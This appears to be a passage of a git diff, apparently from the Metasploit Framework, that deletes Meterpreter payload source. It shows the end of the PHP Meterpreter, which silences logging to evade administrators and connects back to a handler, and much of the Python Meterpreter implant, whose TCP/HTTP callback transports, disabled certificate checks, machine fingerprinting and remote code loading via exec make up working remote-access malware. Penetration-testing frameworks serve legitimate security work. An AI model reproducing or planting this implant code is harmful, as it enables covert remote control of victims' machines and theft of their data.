logs. Why make an -# administrator's job easier if we don't have to? =) -error_reporting(0); - -@ignore_user_abort(true); -# Has no effect in safe mode, but try anyway -@set_time_limit(0); -@ignore_user_abort(1); -@ini_set('max_execution_time',0); - - -# If we don't have a socket we're standalone, setup the connection here. -# Otherwise, this is a staged payload, don't bother connecting -if (!isset($GLOBALS['msgsock'])) { - # The payload handler overwrites this with the correct LHOST before sending - # it to the victim. - $ipaddr = '127.0.0.1'; - $port = 4444; - my_print("Don't have a msgsock, trying to connect($ipaddr, $port)"); - $msgsock = connect($ipaddr, $port); - if (!$msgsock) { die(); } -} else { - # The ABI for PHP stagers is a socket in $msgsock and it's type (socket or - # stream) in $msgsock_type - $msgsock = $GLOBALS['msgsock']; - $msgsock_type = $GLOBALS['msgsock_type']; - switch ($msgsock_type) { - case 'socket': - register_socket($msgsock); - break; - case 'stream': - # fall through - default: - register_stream($msgsock); - } -} -add_reader($msgsock); - -# -# Main dispatch loop -# -$r=$GLOBALS['readers']; -$w=NULL;$e=NULL;$t=1; -while (false !== ($cnt = select($r, $w, $e, $t))) { - #my_print(sprintf("Returned from select with %s readers", count($r))); - $read_failed = false; - for ($i = 0; $i < $cnt; $i++) { - $ready = $r[$i]; - if ($ready == $msgsock) { - $request = read($msgsock, 8); - #my_print(sprintf("Read returned %s bytes", strlen($request))); - if (false==$request) { - #my_print("Read failed on main socket, bailing"); - # We failed on the main socket. There's no way to continue, so - # break all the way out. - break 2; - } - $a = unpack("Nlen/Ntype", $request); - # length of the whole packet, including header - $len = $a['len']; - # packet type should always be 0, i.e. PACKET_TYPE_REQUEST - $ptype = $a['type']; - while (strlen($request) < $a['len']) { - $request .= read($msgsock, $len-strlen($request)); - } - #my_print("creating response"); - $response = create_response($request); - - write($msgsock, $response); - } else { - #my_print("not Msgsock: $ready"); - $data = read($ready); - if (false === $data) { - handle_dead_resource_channel($ready); - } elseif (strlen($data) > 0){ - my_print(sprintf("Read returned %s bytes", strlen($data))); - $request = handle_resource_read_channel($ready, $data); - if ($request) { - write($msgsock, $request); - } - } - } - } - # $r is modified by select, so reset it - $r = $GLOBALS['readers']; -} # end main loop -my_print("Finished"); -my_print("--------------------"); -close($msgsock); diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py deleted file mode 100644 index a2b1a4a307..0000000000 --- a/data/meterpreter/meterpreter.py +++ /dev/null @@ -1,1111 +0,0 @@ -#!/usr/bin/python -# vim: tabstop=4 softtabstop=4 shiftwidth=4 noexpandtab -import binascii -import code -import os -import platform -import random -import select -import socket -import struct -import subprocess -import sys -import threading -import time -import traceback - -try: - import ctypes -except ImportError: - has_windll = False -else: - has_windll = hasattr(ctypes, 'windll') - -# this MUST be imported for urllib to work on OSX -try: - import SystemConfiguration as osxsc - osxsc.SCNetworkInterfaceCopyAll() - has_osxsc = True -except ImportError: - has_osxsc = False - -try: - urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen'] - if sys.version_info[0] < 3: - urllib = __import__('urllib2', fromlist=urllib_imports) - else: - urllib = __import__('urllib.request', fromlist=urllib_imports) -except ImportError: - has_urllib = False -else: - has_urllib = True - -if sys.version_info[0] < 3: - is_str = lambda obj: issubclass(obj.__class__, str) - is_bytes = lambda obj: issubclass(obj.__class__, str) - bytes = lambda *args: str(*args[:1]) - NULL_BYTE = '\x00' - unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x) -else: - if isinstance(__builtins__, dict): - is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) - str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',))) - else: - is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) - str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',))) - is_bytes = lambda obj: issubclass(obj.__class__, bytes) - NULL_BYTE = bytes('\x00', 'UTF-8') - long = int - unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x) - -# -# Constants -# - -# these values will be patched, DO NOT CHANGE THEM -DEBUGGING = False -HTTP_CONNECTION_URL = None -HTTP_PROXY = None -HTTP_USER_AGENT = None -PAYLOAD_UUID = '' -SESSION_COMMUNICATION_TIMEOUT = 300 -SESSION_EXPIRATION_TIMEOUT = 604800 -SESSION_RETRY_TOTAL = 3600 -SESSION_RETRY_WAIT = 10 - -PACKET_TYPE_REQUEST = 0 -PACKET_TYPE_RESPONSE = 1 -PACKET_TYPE_PLAIN_REQUEST = 10 -PACKET_TYPE_PLAIN_RESPONSE = 11 - -ERROR_SUCCESS = 0 -# not defined in original C implementation -ERROR_FAILURE = 1 -ERROR_FAILURE_PYTHON = 2 -ERROR_FAILURE_WINDOWS = 3 - -CHANNEL_CLASS_BUFFERED = 0 -CHANNEL_CLASS_STREAM = 1 -CHANNEL_CLASS_DATAGRAM = 2 -CHANNEL_CLASS_POOL = 3 - -# -# TLV Meta Types -# -TLV_META_TYPE_NONE = ( 0 ) -TLV_META_TYPE_STRING = (1 << 16) -TLV_META_TYPE_UINT = (1 << 17) -TLV_META_TYPE_RAW = (1 << 18) -TLV_META_TYPE_BOOL = (1 << 19) -TLV_META_TYPE_QWORD = (1 << 20) -TLV_META_TYPE_COMPRESSED = (1 << 29) -TLV_META_TYPE_GROUP = (1 << 30) -TLV_META_TYPE_COMPLEX = (1 << 31) -# not defined in original -TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) - -# -# TLV base starting points -# -TLV_RESERVED = 0 -TLV_EXTENSIONS = 20000 -TLV_USER = 40000 -TLV_TEMP = 60000 - -# -# TLV Specific Types -# -TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 -TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 -TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 -TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 -TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 - -TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 -TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 -TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 - -TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 -TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 -TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 - -TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 -TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 -TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 -TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 -TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 -TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55 - -TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 -TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 -TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 - -TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 -TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 - -TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 -TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 -TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 -TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 - -TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 -TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431 -TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432 -TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433 -TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434 -TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435 -TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436 -TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437 -TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 -TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 -TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 -TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441 - -TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 -TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 - -TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 -TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 - -TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 -TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 -TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 -TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 - -EXPORTED_SYMBOLS = {} -EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING - -def export(symbol): - EXPORTED_SYMBOLS[symbol.__name__] = symbol - return symbol - -def generate_request_id(): - chars = 'abcdefghijklmnopqrstuvwxyz' - return ''.join(random.choice(chars) for x in range(32)) - -@export -def crc16(data): - poly = 0x1021 - reg = 0x0000 - if is_str(data): - data = list(map(ord, data)) - elif is_bytes(data): - data = list(data) - data.append(0) - data.append(0) - for byte in data: - mask = 0x80 - while mask > 0: - reg <<= 1 - if byte & mask: - reg += 1 - mask >>= 1 - if reg > 0xffff: - reg &= 0xffff - reg ^= poly - return reg - -@export -def error_result(exception=None): - if not exception: - _, exception, _ = sys.exc_info() - exception_crc = crc16(exception.__class__.__name__) - if exception_crc == 0x4cb2: # WindowsError - return error_result_windows(exception.errno) - else: - result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON) - return result - -@export -def error_result_windows(error_number=None): - if not has_windll: - return ERROR_FAILURE - if error_number == None: - error_number = ctypes.windll.kernel32.GetLastError() - if error_number > 0xffff: - return ERROR_FAILURE - result = ((error_number << 16) | ERROR_FAILURE_WINDOWS) - return result - -@export -def get_hdd_label(): - for _, _, files in os.walk('/dev/disk/by-id/'): - for f in files: - for p in ['ata-', 'mb-']: - if f[:len(p)] == p: - return f[len(p):] - return '' - -@export -def inet_pton(family, address): - if hasattr(socket, 'inet_pton'): - return socket.inet_pton(family, address) - elif has_windll: - WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA - lpAddress = (ctypes.c_ubyte * 28)() - lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress)) - if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0: - raise Exception('WSAStringToAddress failed') - if family == socket.AF_INET: - return ''.join(map(chr, lpAddress[4:8])) - elif family == socket.AF_INET6: - return ''.join(map(chr, lpAddress[8:24])) - raise Exception('no suitable inet_pton functionality is available') - -@export -def packet_enum_tlvs(pkt, tlv_type = None): - offset = 0 - while (offset < len(pkt)): - tlv = struct.unpack('>II', pkt[offset:offset+8]) - if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type): - val = pkt[offset+8:(offset+8+(tlv[0] - 8))] - if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = str(val.split(NULL_BYTE, 1)[0]) - elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: - val = struct.unpack('>I', val)[0] - elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: - val = struct.unpack('>Q', val)[0] - elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - val = bool(struct.unpack('b', val)[0]) - elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - pass - yield {'type':tlv[1], 'length':tlv[0], 'value':val} - offset += tlv[0] - raise StopIteration() - -@export -def packet_get_tlv(pkt, tlv_type): - try: - tlv = list(packet_enum_tlvs(pkt, tlv_type))[0] - except IndexError: - return {} - return tlv - -@export -def tlv_pack(*args): - if len(args) == 2: - tlv = {'type':args[0], 'value':args[1]} - else: - tlv = args[0] - data = '' - value = tlv['value'] - if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: - if isinstance(value, float): - value = int(round(value)) - data = struct.pack('>III', 12, tlv['type'], value) - elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: - data = struct.pack('>IIQ', 16, tlv['type'], value) - elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8') - else: - if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode': - value = value.encode('UTF-8') - elif not is_bytes(value): - value = bytes(value, 'UTF-8') - if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE - elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - data = struct.pack('>II', 8 + len(value), tlv['type']) + value - elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: - data = struct.pack('>II', 8 + len(value), tlv['type']) + value - elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: - data = struct.pack('>II', 8 + len(value), tlv['type']) + value - return data - -@export -def tlv_pack_response(result, response): - response += tlv_pack(TLV_TYPE_RESULT, result) - response = struct.pack('>I', len(response) + 4) + response - return response - -#@export -class MeterpreterFile(object): - def __init__(self, file_obj): - self.file_obj = file_obj - - def __getattr__(self, name): - return getattr(self.file_obj, name) -export(MeterpreterFile) - -#@export -class MeterpreterSocket(object): - def __init__(self, sock): - self.sock = sock - - def __getattr__(self, name): - return getattr(self.sock, name) -export(MeterpreterSocket) - -#@export -class MeterpreterSocketClient(MeterpreterSocket): - pass -export(MeterpreterSocketClient) - -#@export -class MeterpreterSocketServer(MeterpreterSocket): - pass -export(MeterpreterSocketServer) - -class STDProcessBuffer(threading.Thread): - def __init__(self, std, is_alive): - threading.Thread.__init__(self) - self.std = std - self.is_alive = is_alive - self.data = bytes() - self.data_lock = threading.RLock() - - def run(self): - for byte in iter(lambda: self.std.read(1), bytes()): - self.data_lock.acquire() - self.data += byte - self.data_lock.release() - - def is_read_ready(self): - return len(self.data) != 0 - - def peek(self, l = None): - data = bytes() - self.data_lock.acquire() - if l == None: - data = self.data - else: - data = self.data[0:l] - self.data_lock.release() - return data - - def read(self, l = None): - self.data_lock.acquire() - data = self.peek(l) - self.data = self.data[len(data):] - self.data_lock.release() - return data - -#@export -class STDProcess(subprocess.Popen): - def __init__(self, *args, **kwargs): - subprocess.Popen.__init__(self, *args, **kwargs) - self.echo_protection = False - - def start(self): - self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) - self.stdout_reader.start() - self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) - self.stderr_reader.start() - - def write(self, channel_data): - self.stdin.write(channel_data) - self.stdin.flush() - if self.echo_protection: - end_time = time.time() + 0.5 - out_data = bytes() - while (time.time() < end_time) and (out_data != channel_data): - if self.stdout_reader.is_read_ready(): - out_data = self.stdout_reader.peek(len(channel_data)) - if out_data == channel_data: - self.stdout_reader.read(len(channel_data)) -export(STDProcess) - -class Transport(object): - def __init__(self): - self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT - self.communication_last = 0 - self.retry_total = SESSION_RETRY_TOTAL - self.retry_wait = SESSION_RETRY_WAIT - self.request_retire = False - - def __repr__(self): - return "<{0} url='{1}' >".format(self.__class__.__name__, self.url) - - @property - def communication_has_expired(self): - return self.communication_last + self.communication_timeout < time.time() - - @property - def should_retire(self): - return self.communication_has_expired or self.request_retire - - @staticmethod - def from_request(request): - url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value'] - if url.startswith('tcp'): - transport = TcpTransport(url) - elif url.startswith('http'): - proxy = packet_get_tlv(request, TLV_TYPE_TRANS_PROXY_HOST).get('value') - user_agent = packet_get_tlv(request, TLV_TYPE_TRANS_UA).get('value', HTTP_USER_AGENT) - transport = HttpTransport(url, proxy=proxy, user_agent=user_agent) - transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT) - transport.retry_total = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL) - transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT) - return transport - - def _activate(self): - return True - - def activate(self): - end_time = time.time() + self.retry_total - while time.time() < end_time: - try: - activate_succeeded = self._activate() - except: - activate_succeeded = False - if activate_succeeded: - self.communication_last = time.time() - return True - time.sleep(self.retry_wait) - return False - - def _deactivate(self): - return - - def deactivate(self): - try: - self._deactivate() - except: - pass - self.communication_last = 0 - return True - - def get_packet(self): - self.request_retire = False - try: - pkt = self._get_packet() - except: - return None - if pkt is None: - return None - self.communication_last = time.time() - return pkt - - def send_packet(self, pkt): - self.request_retire = False - try: - self._send_packet(pkt) - except: - return False - self.communication_last = time.time() - return True - - def tlv_pack_timeouts(self): - response = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout) - response += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, self.retry_total) - response += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, self.retry_wait) - return response - - def tlv_pack_transport_group(self): - trans_group = tlv_pack(TLV_TYPE_TRANS_URL, self.url) - trans_group += self.tlv_pack_timeouts() - return trans_group - -class HttpTransport(Transport): - def __init__(self, url, proxy=None, user_agent=None): - super(HttpTransport, self).__init__() - opener_args = [] - scheme = url.split(':', 1)[0] - if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2, 7, 9)) or sys.version_info >= (3, 4, 3)): - import ssl - ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23) - ssl_ctx.check_hostname = False - ssl_ctx.verify_mode = ssl.CERT_NONE - opener_args.append(urllib.HTTPSHandler(0, ssl_ctx)) - if proxy: - opener_args.append(urllib.ProxyHandler({scheme: proxy})) - self.proxy = proxy - opener = urllib.build_opener(*opener_args) - if user_agent: - opener.addheaders = [('User-Agent', user_agent)] - self.user_agent = user_agent - urllib.install_opener(opener) - self.url = url - self._http_request_headers = {'Content-Type': 'application/octet-stream'} - self._first_packet = None - self._empty_cnt = 0 - - def _activate(self): - return True - self._first_packet = None - packet = self._get_packet() - if packet is None: - return False - self._first_packet = packet - return True - - def _get_packet(self): - if self._first_packet: - packet = self._first_packet - self._first_packet = None - return packet - packet = None - request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers) - url_h = urllib.urlopen(request, timeout=self.communication_timeout) - packet = url_h.read() - for _ in range(1): - if packet == '': - break - if len(packet) < 8: - packet = None # looks corrupt - break - pkt_length, _ = struct.unpack('>II', packet[:8]) - if len(packet) != pkt_length: - packet = None # looks corrupt - if not packet: - delay = 10 * self._empty_cnt - if self._empty_cnt >= 0: - delay *= 10 - self._empty_cnt += 1 - time.sleep(float(min(10000, delay)) / 1000) - return packet - self._empty_cnt = 0 - return packet[8:] - - def _send_packet(self, packet): - request = urllib.Request(self.url, packet, self._http_request_headers) - url_h = urllib.urlopen(request, timeout=self.communication_timeout) - response = url_h.read() - - def tlv_pack_transport_group(self): - trans_group = super(HttpTransport, self).tlv_pack_transport_group() - if self.user_agent: - trans_group += tlv_pack(TLV_TYPE_TRANS_UA, self.user_agent) - if self.proxy: - trans_group += tlv_pack(TLV_TYPE_TRANS_PROXY_HOST, self.proxy) - return trans_group - -class TcpTransport(Transport): - def __init__(self, url, socket=None): - super(TcpTransport, self).__init__() - self.url = url - self.socket = socket - self._cleanup_thread = None - self._first_packet = True - - def _sock_cleanup(self, sock): - remaining_time = self.communication_timeout - while remaining_time > 0: - iter_start_time = time.time() - if select.select([sock], [], [], remaining_time)[0]: - if len(sock.recv(4096)) == 0: - break - remaining_time -= time.time() - iter_start_time - sock.close() - - def _activate(self): - address, port = self.url[6:].rsplit(':', 1) - port = int(port.rstrip('/')) - timeout = max(self.communication_timeout, 30) - if address in ('', '0.0.0.0', '::'): - try: - server_sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) - server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0) - except (AttributeError, socket.error): - server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - server_sock.bind(('', port)) - server_sock.listen(1) - if not select.select([server_sock], [], [], timeout)[0]: - server_sock.close() - return False - sock, _ = server_sock.accept() - server_sock.close() - else: - if ':' in address: - sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) - else: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(timeout) - sock.connect((address, port)) - sock.settimeout(None) - self.socket = sock - self._first_packet = True - return True - - def _deactivate(self): - cleanup = threading.Thread(target=self._sock_cleanup, args=(self.socket,)) - cleanup.run() - self.socket = None - - def _get_packet(self): - first = self._first_packet - self._first_packet = False - if not select.select([self.socket], [], [], 0.5)[0]: - return '' - packet = self.socket.recv(8) - if packet == '': # remote is closed - self.request_retire = True - return None - if len(packet) != 8: - if first and len(packet) == 4: - received = 0 - pkt_length = struct.unpack('>I', packet)[0] - self.socket.settimeout(max(self.communication_timeout, 30)) - while received < pkt_length: - received += len(self.socket.recv(pkt_length - received)) - self.socket.settimeout(None) - return self._get_packet() - return None - pkt_length, pkt_type = struct.unpack('>II', packet) - pkt_length -= 8 - packet = bytes() - while len(packet) < pkt_length: - packet += self.socket.recv(pkt_length - len(packet)) - return packet - - def _send_packet(self, packet): - self.socket.send(packet) - - @classmethod - def from_socket(cls, sock): - url = 'tcp://' - address, port = sock.getsockname()[:2] - # this will need to be changed if the bind stager ever supports binding to a specific address - if not address in ('', '0.0.0.0', '::'): - address, port = sock.getpeername()[:2] - url += address + ':' + str(port) - return cls(url, sock) - -class PythonMeterpreter(object): - def __init__(self, transport): - self.transport = transport - self.running = False - self.last_registered_extension = None - self.extension_functions = {} - self.channels = {} - self.interact_channels = [] - self.processes = {} - self.transports = [self.transport] - self.session_expiry_time = SESSION_EXPIRATION_TIMEOUT - self.session_expiry_end = time.time() + self.session_expiry_time - for func in list(filter(lambda x: x.startswith('_core'), dir(self))): - self.extension_functions[func[1:]] = getattr(self, func) - self.running = True - - def debug_print(self, msg): - if DEBUGGING: - print(msg) - - def register_extension(self, extension_name): - self.last_registered_extension = extension_name - return self.last_registered_extension - - def register_function(self, func): - self.extension_functions[func.__name__] = func - return func - - def register_function_windll(self, func): - if has_windll: - self.register_function(func) - return func - - def add_channel(self, channel): - assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket))) - idx = 0 - while idx in self.channels: - idx += 1 - self.channels[idx] = channel - return idx - - def add_process(self, process): - idx = 0 - while idx in self.processes: - idx += 1 - self.processes[idx] = process - return idx - - def get_packet(self): - pkt = self.transport.get_packet() - if pkt is None and self.transport.should_retire: - self.transport_change() - return pkt - - def send_packet(self, packet): - send_succeeded = self.transport.send_packet(packet) - if not send_succeeded and self.transport.should_retire: - self.transport_change() - return send_succeeded - - @property - def session_has_expired(self): - if self.session_expiry_time == 0: - return False - return time.time() > self.session_expiry_end - - def transport_add(self, new_transport): - new_position = self.transports.index(self.transport) - self.transports.insert(new_position, new_transport) - - def transport_change(self, new_transport=None): - if new_transport is None: - new_transport = self.transport_next() - self.transport.deactivate() - self.debug_print('[*] changing transport to: ' + new_transport.url) - while not new_transport.activate(): - new_transport = self.transport_next(new_transport) - self.debug_print('[*] changing transport to: ' + new_transport.url) - self.transport = new_transport - - def transport_next(self, current_transport=None): - if current_transport is None: - current_transport = self.transport - new_idx = self.transports.index(current_transport) + 1 - if new_idx == len(self.transports): - new_idx = 0 - return self.transports[new_idx] - - def transport_prev(self, current_transport=None): - if current_transport is None: - current_transport = self.transport - new_idx = self.transports.index(current_transport) - 1 - if new_idx == -1: - new_idx = len(self.transports) - 1 - return self.transports[new_idx] - - def run(self): - while self.running and not self.session_has_expired: - request = self.get_packet() - if request: - response = self.create_response(request) - if response: - self.send_packet(response) - continue - # iterate over the keys because self.channels could be modified if one is closed - channel_ids = list(self.channels.keys()) - for channel_id in channel_ids: - channel = self.channels[channel_id] - data = bytes() - if isinstance(channel, STDProcess): - if not channel_id in self.interact_channels: - continue - if channel.stderr_reader.is_read_ready(): - data = channel.stderr_reader.read() - elif channel.stdout_reader.is_read_ready(): - data = channel.stdout_reader.read() - elif channel.poll() != None: - self.handle_dead_resource_channel(channel_id) - elif isinstance(channel, MeterpreterSocketClient): - while select.select([channel.fileno()], [], [], 0)[0]: - try: - d = channel.recv(1) - except socket.error: - d = bytes() - if len(d) == 0: - self.handle_dead_resource_channel(channel_id) - break - data += d - elif isinstance(channel, MeterpreterSocketServer): - if select.select([channel.fileno()], [], [], 0)[0]: - (client_sock, client_addr) = channel.accept() - server_addr = channel.getsockname() - client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock)) - pkt = struct.pack('>I', PACKET_TYPE_REQUEST) - pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open') - pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id) - pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id) - pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0])) - pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1]) - pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0])) - pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1]) - pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.send_packet(pkt) - if data: - pkt = struct.pack('>I', PACKET_TYPE_REQUEST) - pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') - pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) - pkt += tlv_pack(TLV_TYPE_LENGTH, len(data)) - pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) - pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.send_packet(pkt) - - def handle_dead_resource_channel(self, channel_id): - del self.channels[channel_id] - if channel_id in self.interact_channels: - self.interact_channels.remove(channel_id) - pkt = struct.pack('>I', PACKET_TYPE_REQUEST) - pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close') - pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) - pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.send_packet(pkt) - - def _core_uuid(self, request, response): - response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(PAYLOAD_UUID)) - return ERROR_SUCCESS, response - - def _core_enumextcmd(self, request, response): - extension_name = packet_get_tlv(request, TLV_TYPE_STRING)['value'] - for func_name in self.extension_functions.keys(): - if func_name.split('_', 1)[0] == extension_name: - response += tlv_pack(TLV_TYPE_STRING, func_name) - return ERROR_SUCCESS, response - - def _core_machine_id(self, request, response): - serial = '' - machine_name = platform.uname()[1] - if has_windll: - from ctypes import wintypes - - k32 = ctypes.windll.kernel32 - sys_dir = ctypes.create_unicode_buffer(260) - if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260): - return ERROR_FAILURE_WINDOWS - - vol_buf = ctypes.create_unicode_buffer(260) - fs_buf = ctypes.create_unicode_buffer(260) - serial_num = wintypes.DWORD(0) - - if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]), - vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None, - None, fs_buf, ctypes.sizeof(fs_buf)): - return ERROR_FAILURE_WINDOWS - serial_num = serial_num.value - serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF) - else: - serial = get_hdd_label() - - response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name)) - return ERROR_SUCCESS, response - - def _core_loadlib(self, request, response): - data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) - if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: - return ERROR_FAILURE - - self.last_registered_extension = None - symbols_for_extensions = {'meterpreter':self} - symbols_for_extensions.update(EXPORTED_SYMBOLS) - i = code.InteractiveInterpreter(symbols_for_extensions) - i.runcode(compile(data_tlv['value'], '', 'exec')) - extension_name = self.last_registered_extension - - if extension_name: - check_extension = lambda x: x.startswith(extension_name) - lib_methods = list(filter(check_extension, list(self.extension_functions.keys()))) - for method in lib_methods: - response += tlv_pack(TLV_TYPE_METHOD, method) - return ERROR_SUCCESS, response - - def _core_shutdown(self, request, response): - response += tlv_pack(TLV_TYPE_BOOL, True) - self.running = False - return ERROR_SUCCESS, response - - def _core_transport_add(self, request, response): - new_transport = Transport.from_request(request) - self.transport_add(new_transport) - return ERROR_SUCCESS, response - - def _core_transport_change(self, request, response): - new_transport = Transport.from_request(request) - self.transport_add(new_transport) - self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) - self.transport_change(new_transport) - return None - - def _core_transport_list(self, 